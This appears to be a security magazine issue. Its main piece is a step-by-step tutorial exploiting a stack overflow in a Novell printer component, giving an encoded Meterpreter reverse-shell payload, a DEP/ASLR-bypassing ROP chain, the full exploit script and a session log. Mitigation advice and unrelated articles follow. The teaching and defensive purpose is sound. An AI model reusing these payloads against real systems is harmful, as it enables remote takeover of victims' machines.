This exception may be expected and handled.
eax=03007654 ebx=00000000 ecx=41357841 edx=0361b808 esi=00000014 edi=020df208
eip=41397841 esp=020df21c ebp=020df2b0 iopl=0
nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010212
41397841 ??
???
0:008> dd esp L1
020df21c 36794135

The EIP register is set to 0x41397841, which is equivalent to “Ax9A,” and ESP points to
0x36794135 (“5Ay6”) at the top of the stack. These values are part of the injected cyclic
pattern and thus within our control. Analyzing the cyclic pattern shows that EIP has been
set to the 4-byte value at offset 717 of our pattern, and ESP points to offset 737 into our pattern
(See Listing 3).
Our exploit strategy is to place shellcode at offset 737 (which is the top of the stack at runtime) and overwrite the saved EIP pointer at offset 717 with the address of a RETN instruction.
This will take the first value from the stack, i.e., where ESP actually points to, into EIP, thus
starting to process the shellcode at offset 737.
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LISTING 3

0:008> !py mona po 41397841
- Pattern Ax9A (0x41397841) found in cyclic pattern at position 717
0:008> !py mona po 36794135
- Pattern 5Ay6 (0x36794135) found in cyclic pattern at position 737

+-------+-----------------+-------+-----------+-------+
| junk1 | address of RETN | junk2 | shellcode | junk3 |
+-------+-----------------+-------+-----------+-------+
^
^
^
| saved EIP ptr
| ESP
|
717
737
1000

GETTING INTO CONTROL
We have control over two important registers now. The instruction pointer (EIP) and the stack
pointer (ESP) have been set to predetermined values. The cyclic pattern was useful to pinpoint
the exact position of these values inside the injected buffer. Now that we know where data will
become code at runtime, we can make a plan of action.
Let’s set
• junk1 to “X...X” (717 chars)
• the saved EIP pointer to “AAAA”
• junk2 to “Y...Y” (16 chars)
• ESP to “BBBB”
• junk3 to “Z...Z” (259 chars)
and see what’s on in memory (See Figure 1).
Interesting. We’re not in full control, and some parts of the buffer will be overwritten at runtime:
• 0x020def3b: start of our buffer
• 0x020df0fc: 8 bytes at offset 449 (1C1h) overwritten with string “Windows\x00”
• 0x020df104: 256 bytes of our buffer
• 0x020df204: 4 bytes overwritten with “ff ff ff ff”
• 0x020df208: saved EIP pointer (“AAAA”)
• 0x020df20c: 16 bytes of our buffer
• 0x020df21c: poi(ESP) (“BBBB”)
• 0x020df220: 220 bytes of our buffer
Since we’re rather interested in offsets than in memory addresses, let’s take a closer look at the
buffer offsets:
•
0..1C0: unmodified! (449 bytes)
• 1C1..1C8: *corrupted* ( 8 bytes)
• 1C9..2C8: unmodified! (256 bytes)
• 2C9..2CC: *corrupted* ( 4 bytes)
• 2CD..3C0: unmodified! (244 bytes)
• 3C1..3E7: *corrupted* ( 39 bytes)
So there are three blocks available to place shellcode (449 + 256 + 244 bytes).
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FIGURE 1

CHECKING PAYLOAD SIZES
The term “payload” refers to the malicious part of the buffer (sorting out all the prepended junk
characters like “XXXX,” “YYYY” and “ZZZZ,” which are just required to adjust the buffer to
the correct offsets for overwriting EIP and ESP and to the correct length to trigger the vulnerability). Payloads usually contain shellcode to download a trojan, to install a rootkit or to steal
credentials.
Shellcode is a series of bytes to be executed at runtime within the vulnerable process. In
many cases, shellcode will create a reverse shell to the attacker’s machine in order to control
the victim’s machine remotely. For instance, Metasploit’s Meterpreter reverse TCP payload
requires 281 bytes of buffer space (See Listing 4).
LISTING 4

root@kali:~# msfvenom --payload windows/meterpreter/reverse_tcp --payload-options
Name:
Module:
Platform:
Arch:
Needs Admin:
Total size:
Rank:

Windows Meterpreter (Reflective Injection), Reverse TCP Stager
payload/windows/meterpreter/reverse_tcp
Windows
x86
No
281
Normal

We could place that payload at the beginning of the buffer (offset 0). When the shellcode at
offset 737 gets executed at runtime, we can simply jump back and proceed with the payload.
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CHECKING FOR BAD CHARACTERS
If you tried this, the exploit would fail. More precisely, the whole buffer would be cut off at
runtime due to the first occurrence of a null byte (\x00). Because we’re injecting shellcode in
the form of a string parameter (“printer name”), we must not use null bytes, because a null byte
terminates a string and thus cuts off the exploit code to be injected.
Are there any other illicit byte values, so-called “bad characters”? To find out, we create a
new buffer of 255 consecutive byte values (1, ..., 255) and inject them throughout the vulnerable function (See Listing 5).
LISTING 5

bytearray = unescape("%01%02%03%04%05%06%07...%f8%f9%fa%fb%fc%fd%fe%ff");
junk='';
for( counter=0; counter<=1000-bytearray.length; counter++) junk+="A";
payload=bytearray+junk;
target.GetDriverSettings(payload,'realm','user','pass');

A comparison in memory reveals which byte values are causing trouble (See Listing 6).
LISTING 6

0:008> !py mona compare -f "C:\logs\iexplore\bytearray.bin" -a 0x020def3b
0x020def3b | [+] Comparing with memory at location : 0x020def3b (Stack)
0x020def3b | Only 228 original bytes of 'normal' code found.
0x020def3b | Possibly bad chars: 80 82 83 84 85 86 87 88 89 8a 8b 8c 8e 91 92 93
94 95 96 97 98 99 9a 9b 9c 9e 9f

Mona is an exploit writer’s Swiss army knife. It identifies woooo, a lot of bad characters: 28
byte values that become corrupted at runtime. We need to inject shellcode that contains not
even one of those show-stoppers.

ENCODING THE PAYLOAD
To do so, we need to encode our shellcode.
Encoders transform the original shellcode into a series of bytes while avoiding the output of
bad characters. At runtime, a decoder is placed at the start of the shellcode, which reverses the
process of encoding, decodes the shellcode in place, then executes the restored shellcode. Let’s
encode our shellcode with the popular pentest toolkit Metasploit (See Listing 7).
The ouput buf[] contains neither null bytes nor any other illicit byte values, so we can be
sure that this buffer will be injected successfully at runtime. However, encoding comes at a
price. With 624 bytes in length, the encoded shellcode requires much more space in the buffer
than the non-encoded shellcode (281 bytes).

PATCHING THE CORRUPTED BYTES
Looking back at our buffer in memory, we see that there are 449 + 8 + 256 = 713 bytes of
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LISTING 7

root@kali:~# msfvenom --payload windows/meterpreter/reverse_tcp --arch x86
--platform Windows --format c --encoder x86/alpha_mixed --bad-chars
'\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e
\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f' lhost=192.168.2.108
lport=4444
x86/alpha_mixed succeeded with size 624 (iteration=0)
unsigned char buf[] =
"\x54\x5e\xda\xd8\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
...
"\x46\x63\x45\x7a\x4e\x78\x43\x41\x41";

space at the beginning of our buffer, while 8 bytes get corrupted at runtime:
0..1C0: unmodified! (449 bytes)
1C1..1C8: *corrupted* ( 8 bytes) overwritten with “Windows\x00”
1C9..2C8: unmodified! (256 bytes)
That means we have to fix the corrupted bytes at offset 1C1..1C8 at runtime, right before
executing the shellcode. Assuming that we have control over ESP, we can use the ECX register
to compute the offset to 1C1 and patch the corrupted bytes in memory at 1C1..1C4 with a MOV
instruction, then increase ECX by 4 bytes and patch the offsets 1C5..1C8 in memory with a
second MOV instruction (See Listing 8).
LISTING 8

metasm > push esp
"\x54"
metasm > pop ecx
"\x59"
metasm > add ecx,-170h # ESP – start of buffer – offset to corruption (1C1h)
"\x81\xc1\x90\xfe\xff\xff"
metasm > mov dword ptr [ecx], ????????h
"\xc7\x01\x??\x??\x??\x??"
metasm > inc ecx
"\x41"
metasm > inc ecx
"\x41"
metasm > inc ecx
"\x41"
metasm > inc ecx
"\x41"
metasm > mov dword ptr [ecx], ????????h
"\xc7\x01\x??\x??\x??\x??"
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When manually crafting assembler instructions like this, we have to be very careful to
produce code that does not contain any bad characters. Remember: We inject code as data,
and there are 28 bad characters to avoid. An attacker has to choose the proper instructions
carefully, and in case of doubt, to replace instructions with bad characters by equivalent
instructions without bad characters!
With the patch code being 24 bytes in length, our buffer will look like this:
+------------+-------------+------------+-------------+------+----- +-----+
| patch code | meterpreter | corruption | meterpreter | junk | RETN | ... |
+------------+-------------+------------+-------------+------+----- +-----+
^ 24 bytes
^
^ 8 bytes
^
^
^
^
|
|
|
|
|
| EIP
|
0
24
449
456
646
717
1000
(18h)
(1C1h)
(1C8h)

Which bytes do we need to patch now? Which values do we have to set in place?
With the buffer being corrupted at offset 449, we need to subtract the length of the preceding patch code in order to compute the offset to the original bytes of the Meterpreter shellcode
to be restored at runtime, i.e., the original Meterpreter shellcode bytes are located at offset 1C1h
– 18h = 1A9h = 425.
Opening the Meterpreter shellcode in a binary editor (Figure 2) reveals these bytes we need
to patch (See Listing 9).
LISTING 9

metasm > mov dword ptr [ecx], 4b70694fh
"\xc7\x01\x4f\x69\x70\x4b"
metasm > mov dword ptr [ecx], 4c656b4fh
"\xc7\x01\x4f\x6b\x65\x4c"

BYPASSING DEP AND ASLR
Now, we’re ready to piece together the exploit. Just one more thing: Modern operating systems
prevent code execution by an effective combination of DEP and ASLR.
•

Data Execution Prevention (DEP) marks memory pages as either “executable” or “non-executable.” Data on the stack is not executable. Without further ado, we cannot simply jump
to the injected shellcode on the stack and let go. But, times have changed….

•

Address Space Layout Randomization (ASLR) randomizes the base addresses of the executable’s code modules (EXE and DLLs). With this protection in place, it’s not possible
to use static memory addresses in the exploit code, since the modules will be loaded to
different addresses every time the process is executed.

So, to execute shellcode, we need to bypass DEP and ASLR.
A popular way to bypass ASLR simply is to look for modules that are not ASLR-aware.
Developers need to enable ASLR at compile time, so while most executables rely heavily on
DLLs, there might be a good chance that you’ll find a loaded module at runtime, which does
not support ASLR.
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FIGURE 2
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We use mona again to identify non-ASLR modules (See Listing 10).
Mona identifies, among others, nipplib.dll, which is part of the vulnerable Novell application.
This means that if we use memory addresses between 0x5c000000 and 0x5c189000, we can
be sure that these addresses will never change, despite ASLR. Those addresses are “reliable.”
We need reliable addresses to bypass DEP, because to execute shellcode, we need to mark
the injected shellcode as “executable” to the operating system.
There are different techniques to make data executable. One is through the call of
VirtualProtect(), a Windows API function that sets the access level of a given area of memory to
“executable.” But how can we call this API function if we cannot execute code? This hen-andegg problem can be solved by a technique called “Return-Oriented Programming” (ROP).
When we execute a RETN instruction, the address on top of the stack moves into the
instruction pointer EIP, and it adjusts the stack pointer. The CPU processes all instructions
until it meets the next RETN instruction, pops the next address into EIP, and so on. With this
technique, it’s possible to execute chunks of code in memory (a so-called “gadget”), return to
the stack, execute another gadget, and so on. You just have to look for a series of gadgets in
memory that push the appropriate parameter values for VirtualProtect() to the stack, and then
return to the start address of VirtualProtect() to unlock code execution for our shellcode.
That’s why we need reliable addresses: to identify gadgets and place their memory addresses
onto the stack.
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LISTING 10

0:008> !py mona modules -cm aslr=false,rebase=false
-------------------------------------------------------------------------------Base
| Top
| Size
| Rebase | ASLR | Version, Module, Path
-------------------------------------------------------------------------------...
0x5c000000 | 0x5c189000 | 0x00189000 | False | False | 5.5.2.0 [NIPPLIB.DLL]
...

LISTING 11

0:008> !py mona rop -m nipplib.dll -cpb
'\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e
\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f'
Register setup for VirtualProtect() :
-------------------------------------------EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
-------------------------------------------# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x5c0bcf4f, # POP EBP # RETN [NIPPLIB.DLL]
0x5c0bcf4f, # skip 4 bytes [NIPPLIB.DLL]
0x5c0529f8, # POP EAX # RETN [NIPPLIB.DLL]
0xfffffdff, # Value to negate, will become 0x00000201
# NEG EAX # RETN [NIPPLIB.DLL]
0x5c080337,
0x5c08d949, # XCHG EAX,EBX # RETN [NIPPLIB.DLL]
0x5c06dc78, # POP EAX # RETN [NIPPLIB.DLL]
0xffffffc0, # Value to negate, will become 0x00000040
0x5c09cfd3, # # NEG EAX # RETN [NIPPLIB.DLL]
0x5c06a72a, # XCHG EAX,EDX # RETN 0x00 [NIPPLIB.DLL]
0x5c0b6cfd, # POP ECX # RETN [NIPPLIB.DLL]
0x5c128f4e, # &Writable location [NIPPLIB.DLL]
0x5c09c8ce, # POP EDI # RETN [NIPPLIB.DLL]
0x5c075142,
# RETN (ROP NOP) [NIPPLIB.DLL]
0x5c0766bf, # POP ESI # RETN [NIPPLIB.DLL]
0x5c01bbc0, # JMP [EAX] [NIPPLIB.DLL]
0x5c06dc78, # POP EAX # RETN [NIPPLIB.DLL]
# ptr to &VirtualProtect() [IAT SXS.DLL]
0x7e72121c,
0x5c0839ac, # PUSHAD # RETN [NIPPLIB.DLL]
0x5c09beeb, # ptr to 'push esp # ret ' [NIPPLIB.DLL]
].flatten.pack("V*")
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BUILDING A ROP CHAIN
Luckily, mona does a great job finding the required gadgets. Run mona on the non-ASLR module nipplib.dll, and avoid all the bad characters we must not use (See Listing 11).
The output is a so-called ROP chain: a series of gadgets represented by an array of memory
addresses. Before processing this ROP chain, our exploit isn’t yet able to execute code, but
it can pop the first address of the ROP chain into EIP and execute the gadget (because the
gadget’s code is executable!), then return to the next gadget, and so on, up to the return into
VirtualProtect(). From then on, our shellcode is executable, because one of the parameters
refers to the address of the shellcode in memory, marking it as “executable” by the call to
VirtualProtect().

JUMPING BACK
All we have to do now is to jump back to the start of the buffer and let go.
+-----------------------------------------------------------+
V
|
+------------+-----------+------+------+-----------+------------------+------+
| patch code | shellcode | RETN | junk | ROP chain | JMP to shellcode | junk |
+------------+-----------+------+------+-----------+------------------+------+
^
^
^
| EIP
| ESP
|
717
737
1000

To find the correct jump offset, one has to process the ROP chain and compute the difference
between the current instruction pointer EIP and the start of the buffer in memory, which in
this case is 331h (See Listing 12).
So the overall exploit code is summarized in Listing 13.
LISTING 12

root@kali:~# /usr/share/metasploit-framework/tools/metasm_shell.rb
metasm > jmp $-331h
"\xe9\xca\xfc\xff\xff"

PWN
Running the exploit will start a Meterpreter session on the attacker’s machine (See Listing 14).
PWN!
The attacker has full control over the victim’s machine now! Meterpreter supports keylogging, screenshots, uploading, privilege escalation, process hiding and many more features. A
nice shell within which to have a fling!
MANU CARUS is an (ISC)2 member in Germany and the author of the book Deep Dive: The Development of
an Exploit. This article is an adaptation of concepts from within that book that tries to explain how hackers work,
think and trick.
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LISTING 13

payload = patchcode + shellcode + junk1 + eip + junk2 + rop_chain + jmp_back +
junk3;
target.GetDriverSettings(payload,dummy,dummy,dummy);
// with:
patchcode
patchcode
patchcode
patchcode
patchcode
patchcode
patchcode
patchcode
patchcode
patchcode

= "";
+= "\x54";
+= "\x59";
+= "\x81\xc1\x90\xfe\xff\xff";
+= "\xc7\x01\x4f\x69\x70\x4b";
+= "\x41";
+= "\x41";
+= "\x41";
+= "\x41";
+= "\xc7\x01\x4f\x6b\x65\x4c";

//
//
//
//
//
//
//
//
//

push esp
pop ecx
add ecx,-170h
mov dword ptr [ecx], 4b70694fh
inc ecx
inc ecx
inc ecx
inc ecx
mov dword ptr [ecx], 4c656b4fh

shellcode = ""; // meterpreter reverse tcp, encoded, 624 bytes
shellcode += "\x54\x5e\xda\xd8\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49";
...
shellcode += "\x46\x63\x45\x7a\x4e\x78\x43\x41\x41";
junk1 = '';
for (counter=0; counter < 717 - shellcode.length; counter++) junk1 += 'X';
eip = "\x42\x51\x07\x5c"; // RETN at 0x5c075142 (little endian)
junk2 = '';
for (counter=0; counter < (737 - 717 - eip.length); counter++) junk2 += 'Y';
rop_chain =
littleEndian("\x5c\x0b\xcf\x4f") +
littleEndian("\x5c\x0b\xcf\x4f") +
littleEndian("\x5c\x05\x29\xf8") +
littleEndian("\xff\xff\xfd\xff")
+
littleEndian("\x5c\x08\x03\x37") +
littleEndian("\x5c\x08\xd9\x49") +
littleEndian("\x5c\x06\xdc\x78") +
+
littleEndian("\xff\xff\xff\xc0")
littleEndian("\x5c\x09\xcf\xd3") +
littleEndian("\x5c\x06\xa7\x2a") +
littleEndian("\x5c\x0b\x6c\xfd") +
littleEndian("\x5c\x12\x8f\x4e") +
littleEndian("\x5c\x09\xc8\xce") +
littleEndian("\x5c\x07\x51\x42") +
littleEndian("\x5c\x07\x66\xbf") +
littleEndian("\x5c\x01\xbb\xc0") +
littleEndian("\x5c\x06\xdc\x78") +
littleEndian("\x7e\x72\x12\x1c")
+
littleEndian("\x5c\x08\x39\xac") +
littleEndian("\x5c\x09\xbe\xeb");		
jmp_back = "\xe9\xa0\xfc\xff\xff";

// [NIPPLIB.DLL]
// # POP EBP # RETN
// # skip 4 bytes
// # POP EAX # RETN
// # value to negate (0x00000201 )
// # NEG EAX # RETN
// # XCHG EAX,EBX # RETN
// # POP EAX # RETN
// # Value to negate (0x00000040 )
// # NEG EAX # RETN
// # XCHG EAX,EDX # RETN 0x00
// # POP ECX # RETN
// # &writable location
// # POP EDI # RETN
// # RETN (ROP NOP)
// # POP ESI # RETN
// # JMP [EAX]
// # POP EAX # RETN
// # ptr to &VirtualProtect()
// # PUSHAD # RETN
// # ptr to 'push esp # ret '

// jmp $-331h

junk3 = '';
for (counter=0; counter < (1000 - shellcode.length - junk1.length - eip.length junk2.length - rop_chain.length - jmp_back.length); counter++) junk3 += 'Z';
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LISTING 14

root@kali:~# msfconsole -x "use exploit/multi/handler; set payload windows/
meterpreter/reverse_tcp; set lhost 192.168.2.108; set lport 4444; exploit;"
[*] Starting the Metasploit Framework console...
...
payload => windows/meterpreter/reverse_tcp
lhost => 192.168.2.108
lport => 4444
[*] Started reverse handler on 192.168.2.108:4444
[*] Starting the payload handler...
[*] Started reverse handler on 192.168.2.108:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.2.116
[*] Meterpreter session 1 opened (192.168.2.108:4444 -> 192.168.2.116:1085) at 2015-02-06
11:38:54 +0100
meterpreter >

(ISC)2 Security
Congress Recorded
Sessions
Earn CPEs from these sessions!
Visit our ThinkTank webinar channel and
check out these three full length sessions:
• Threat Modeling: Lessons from Star Wars
Adam Shostack, Author

• DDoS: Barbarians at the Gate(way)
Dave Lewis, CISSP, Global Security Advocate,
Akamai Technologies

• Guest to Root - How to Hack Your
Own Career Path and Stand Out
Javvad Malik, CISSP, CIAC, GWAPT, Security Advocate, AlienVault

GET STARTED

(ISC)2

®

INSPIRING A SAFE AND SECURE CYBER WORLD.
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› PART 2 • TECHNICAL DEEP DIVE

MITIGATION
TECHNIQUES
YOU’VE READ HOW AN EXPLOIT IS BORN. NOW FIND OUT
HOW TO STOP IT FROM ATTACKING YOUR MACHINE.
BY M AN U C ARU S

REFERENCES
Corelan Exploit
Tutorials

https://www.corelan.
be/index.php/articles/

NOW THAT you’ve discovered how an exploit came into being, it’s time to discuss effective
ways to protect against malicious code.
In the previous article, we took heavy advantage of reliable addresses. We were able to
bypass ASLR, because there were non-ASLR-aware modules. If all modules were ASLR-aware,
the attacker would have to turn to another exploit technique. So, to mitigate this threat, it’s
important for developers to compile all code with ASLR protection.
Further, we were able to bypass DEP by making the shellcode executable. If we had enabled
ASLR for all modules, we could not have built a ROP chain to bypass DEP, thus we would not
have been able to call VirtualProtect() to make code executable.
If it’s not an option to recompile a vulnerable software with ASLR-support and redistribute
it, you can arm workstations with EMET, or the Enhanced Mitigation Experience Toolkit.
EMET is a free tool by Microsoft that recognizes several exploit techniques and protects a
workstation at runtime. EMET supports domain-wide group policies, so you can execute
even fine-grained control across several applications and domains in a big enterprise.
The sidebar “Attack Vectors and Countermeasures” summarizes common exploit techniques
and appropriate mitigation techniques.

EMET

https://support.
microsoft.com/en-us/
kb/2458544

MANU CARUS, CISSP, has worked many years as an IT security professional, ethical hacker, IT auditor and
forensics investigator in information security. His passion is X-raying the dark sides of the Internet and having fun
analyzing and implementing smart code.
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RESOURCES

ATTACK VECTORS
AND COUNTERMEASURES
Common exploit techniques in the hacking
community are:
•

Stack-based Overflows

•

SEH-based Overflows

•

Bypassing Stack Cookies

•

Bypassing SafeSEH (Structured Exception
Handling)

•

Bypassing SEHOP (SEH Overwrite
Protection)

•

Bypassing DEP (Data Execution
Prevention)

•

Bypassing ASLR (Address Space Layout
Randomization)

•

Egg Hunting

•

ROP (Return-Oriented Programming)
Chaining

•

Heap Spraying

•

Use-After-Free

An excellent reading companion to each of
these exploitation techniques are the Corelan
Exploit Tutorials.
You can compile effective protections
against those threats into an application with
the following compiler and linker options:

Microsoft Visual Studio
/DynamicBase
Activates ASLR for the code module, thus
randomizing the base address for every program start and preventing the use of reliable
addresses; effective against bypassing ASLR,
DEP and ROP chaining.
/GS
Injects a stack cookie into every function call,
thus implementing a buffer security check:

every time a function returns, the operating
system checks the value of the stack cookie.
If it differs from the predetermined value,
that means the buffer has been flooded, and
the operating system terminates the process;
effective against stack-based overflows.
/SafeSEH
Implements a Safe Exception Handler for
every function, thus checking at runtime the
list of exception records (SEH chain). If an
exception pointer does not refer to a list of
predefined addresses. That means it has
been overwritten, and the operating system
terminates the process; effective against
SEH-based overflows.
/NXCOMPAT
Enables Data Execution Prevention, thus
preventing code from being executed on the
stack.
#pragma strict_gs_check(on)
Implements further stack cookie prevention in
a function call’s stack frame.

GNU CC
•

Stack Protector: -fstack-protector-all,
--param ssp-buffer-size

•

NX Stack: -Wl,-z,noexecstack

•

NX Heap: -Wl,-z,noexecheap

•

GOT hardening: -Wl,-z,relro

•

PLT hardening: -Wl,-z,now

EMET
In contrast to compiler and linker options,
EMET provides a runtime protection against
common exploit techniques (e.g., heap sprays).
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› PROFESSIONAL DEVELOPMENT

HOW TO

SELL SIEM

CORPORATE EXECUTIVES SEE SECURITY FROM DIFFERENT
VANTAGE POINTS. KNOWING THOSE DIFFERENCES CAN
SCORE POINTS FOR YOUR PROGRAM. BY PAN K A J ANAN D

S

ecurity information and event
management (SIEM) tools
can be both a blessing and a
bane to organizations. This technology can save countless
hours by managing the alerts that overwhelm a security
operations center, and it can lead to quicker response
times to counter actual attacks.
But these software products do not come cheap. They
require continuous fine-tuning and enhancements within
the dynamic threat landscape, which add to the cost.
Adopting or updating a SIEM program within an organization is bound to consume a bigger slice of a budget.
It also can be difficult to calculate ROI since it’s often
what doesn’t happen, like a data breach, that matters
most. As such, SIEM budget requests may have a harder
time getting stakeholder approvals because many outside
the security profession can’t clearly understand SIEM’s
value.
ILLUSTRATION BY ENRICO VARRASSO
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There is, however, a way to “upsell” SIEM to the C-suite
if your security operation wants to adopt it in the coming
year. The key is to know your stakeholders’ vested interests
and align your value proposition accordingly.
Sales professionals do this daily; it’s time security professionals did it too.

SELLING SIEM TO THE

CHIEF RISK OFFICER:
MITIGATING RISKS

✓

The company’s board relies on the risk management team and its chief risk officer to stay
updated on threats to the business, be they technical, financial or even reputational. At one time,
when the IT security component was very limited, it was
sufficient that the IT team was able to quantify its sector’s
risk to the company’s board. That’s no longer the case.
Cybersecurity, because of its magnitude and reach, has
gained significant visibility among boards of directors, but
it is still a black hole for most organizations, and results the
IT risk team provides are often ambiguous. Sector-specific
compliance controls and audits can drive effectiveness, but
compliance doesn’t guarantee security. The CRO must get
data that organizations can use to develop a cybersecurity
posture that they can clearly convey to the board, thereby
helping it make optimal risk-based decisions.
This means security professionals should align SIEM
operational metrics with an ERM (Enterprise Risk
Management) solution. One must monitor all policy violations and incidents and track them to closure. Based on
the number and types of incidents, security professionals
must align risk weightage with ERM to give visibility from
ERM, as well as from the risk portal. Keep in mind that risk
weightage will vary based on the business criticality of the
asset involved. This is a critical input parameter, which you
must take into account while feeding SIEM metrics to ERM
to provide effective results and visibility.

SELLING TO THE

CHIEF INFORMATION
SECURITY OFFICER:
CLARITY IN SECURITY

✓

As a key stakeholder, the CISO has two primary
needs: to have visibility of the environment,
which is not necessarily under his/her direct
control; and to protect and prevent the IT environment from cyberattacks. SIEM, as the epicenter of IT
infrastructure, provides the security operations with visible

detection and response capabilities.
You can measure the security maturity of the environment by the number of incidents that you detect and/
or respond to, as well as the type of incidents. This helps
you and your CISO make informed decisions on future
investments.
Typically, the CISO function runs in partial isolation,
and the role itself challenges the security maturity of the
IT environment. Even though you detect incidents, the key
is your response.
For traditional IT, it is often difficult to allocate time
and effort to questionable activities. Most of those investigations are time-consuming and often do not lead to
closure, due to technology and skill gaps.
In order to make SIEM effective, security professionals
must focus on end-to-end incident response rather than
on just detecting and reporting. The metrics should help
identify areas that may need more controls in the form of
people, process and/or technologies.

In order to make SIEM
effective, security
professionals must focus
on end-to-end incident
response rather than
on just detecting and
reporting.
SELLING TO THE

CHIEF LEGAL OFFICER:
SECURING RECORDS

✓

In the event that the key stakeholder runs
the legal department, the emphasis will be
on log collection and storage. For any litigation
or investigation, the forensic team should be
able to capture the log data to establish the evidence. The
emphasis, at this point, is primarily post-mortem rather
than on active detection and protection.
Critical to any litigation is how soon one can restore
forensic data and make it available in case of offline
storage and establish the chain of evidence. For
sector-specific compliance requirements, key aspects
to consider are the size of the environment coverage
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and how long the organization retains data. Keeping data
in online storage for instant access will avoid any delays in
the investigation.
The challenge comes in identifying and segregating
the data that you should collect, store online and retain
(offline or offsite) rather than just piling data. Security
professionals should focus on breach response, forensics,
and sector- and geographic-specific compliance regulations to decide on appropriate critical parameters of data
retention.

SELLING TO THE

CHIEF INFORMATION
OFFICER:
PROTECTING THE INFRASTRUCTURE

✓

The CIO is at the top of the IT chain within an
organization, and as such, he or she is accountable for protecting the infrastructure from
cyberattacks. While the IT team’s focus is more
on operational effectiveness, incident management and
response does remain a critical part of the IT team’s purview. This is the area where the managed security service
provider (MSSP) finds opportunity. MSSPs allow organizations to outsource operations and track them by service
levels for a lower cost.

Different stakeholders,
having varied needs and
vested interests, share
a common goal—to help
the organization succeed
and protect it from any
loss resulting from a
cyber incident.
Compared to other security operations, there are no
standard measurement parameters for SIEM-MSSP. MSSP
is liable just to detect and report the incident, rather than
to provide a complete resolution. The key objective of
MSSP is to save money on operations so one can measure
SIEM in terms of operational effectiveness. Most service
level agreements are not practical, but they suffice as a

basic requirement for
following ITIL process
standards.
The CIO, having a
bird’s-eye view of SIEM,
typically focuses on the
entire infrastructure
availability and has limited
knowledge of advanced
threats. In this case, SIEM
use, then, will only impact
internal, IT-facing reports
and policy violations.
Operations will drive the urge for improved efficiency
and to show a return on investment, rather than on security
effectiveness. Outsourced operations can mean less internal
intelligence, a key ingredient to increased effectiveness.
Security professionals must maintain a balance to ensure
that the organization only outsources operations, not the
intelligence. Security professionals must track outsourced
operations for the entire incident response process, rather
than just report individual incidents.
In order to reduce false positives and enhance the
effectiveness of real incidents, users should adopt a more
collaborative approach to fine-tune operations with the
right mix of intelligence.
Operations drives efficiency, and intelligence drives
effectiveness. The right combination is the key to providing value to the board and the broader organization.
Too much focus on either side demeans the overall
objective of SIEM, leaving the organization susceptible
to cyberattacks.

ALIGNING STAKEHOLDERS IS CRUCIAL
Different stakeholders, having varied needs and vested
interests, share a common goal—to help the organization
succeed and protect it from any loss resulting from a cyber
incident.
Corporate executives may have tactical needs based
on the roles that they must fulfill first. This process helps
them justify the investment in SIEM. They can then
advocate SIEM as part of their portfolio. At the same time,
they must not overshadow the implicit need to protect the
organization.
Even though tactical needs are different, all lead to
one common goal: to protect the organization from
cyberattacks. To do that, SIEM must deliver. ●

PANKAJ ANAND, CISSP, is an India-based cybersecurity consultant
for Wipro Technologies.
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Learn what the world’s leading cybersecurity professionals do to protect their kids
from the dangers of the Internet. SAFEANDSECUREONLINE.ORG

FOUNDATION MATTERS
FOSTERING GOODWILL, EDUCATION,
AND RESEARCH INITIATIVES

Pat Craven is the
new Co-Director
of the (ISC)2
Foundation and
can be reached at
pcraven@isc2.org.

New Year, New Foundation
STARTING FRESH IS a great way to
start the new year, and the (ISC)2
Foundation is doing just that! We
are not going to change what we do
…just how we do it. For five years,
the Foundation has provided a great
service to (ISC)2 members and to
society. The Global Information
Security Workforce Study is second
to none when it comes to offering
insight into the rapidly changing
cybersecurity workforce. We have
provided more than US$500,000 in
scholarships to students around the
world who are pursuing a career in
information security. And, one of
our proudest accomplishments is the
development of our Safe and Secure
Online program, which focuses on
teaching children, parents and now
senior citizens how to be safe in the
fast-paced Internet jungle.
But, we can do better! In the
coming weeks and months, you
will begin to see a new Foundation
that is laser-focused on making
the cyber world a safer place for
everyone.
Just in time for Safer Internet
Day (Feb. 9), we will be releasing
a much-needed study on children’s
Internet usage. The Foundation
contracted with Shugoll Research
to conduct research among children
in grades 4-8 and their parents to
better understand children’s Internet
behavior and the extent to which they

engage in age inappropriate, or even
dangerous, usage.
You will also hear about the new
Chapter Scholarship Challenge that
will allow us to provide college scholarships to secondary and high school
students, while increasing awareness
of (ISC)2 and the cybersecurity field
in your local community.
The cornerstone of our effort to
keep people safe on the Internet has
been our Safe and Secure Online
program. With the help of (ISC)2
members, we have already begun an
extensive remodel of this important
educational outreach program. This
month, we will begin to roll out
new programs to improve our reach
to a variety of markets on a more
global basis. The current program
is restricted by both our delivery

method and the limited number of
countries where we can present. Not
only will we be overhauling all of our
current teaching materials, but we will
also be adding new ways to access
and engage the global community.
Finally, the Foundation will be
getting a marketing makeover to
help us communicate and connect
with (ISC)2 members and the public
more effectively. All our work and
good intentions are for naught if we
don’t tell anyone what they can do
to keep safe online. So check out
our new Safe and Secure Online
Facebook page, follow us on twitter
@ISC2Cares and watch for even
bigger changes coming soon.
I look forward to your input,
feedback and continued support.
It is going to be a great new year. ●
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BY PAT CRAVEN

5

MINUTES WITH…

GERALDO FONSECA
Geraldo Fonseca is an IT security coordinator who
works in Rio de Janeiro and has been an (ISC)2 member
for seven years. EDITED BY ANNE SAITA
What’s it like right now to live and
work in Rio de Janeiro, with the
Summer Olympics just months
away?

The city has been turned upside
down. There are countless transit
modifications, public transportation
reorganization and construction
projects all over the city. There are
dozens of improvements underway
to the subway and bus systems,
and the government is installing a
new light rail system that will run
through most of downtown Rio and
building new tunnels and overpasses.
The city’s electric grid is also being
upgraded to increase its reliability
during the Summer Games. Finally,
the Olympic venues themselves
are mostly still under construction,
which means that in some areas, the
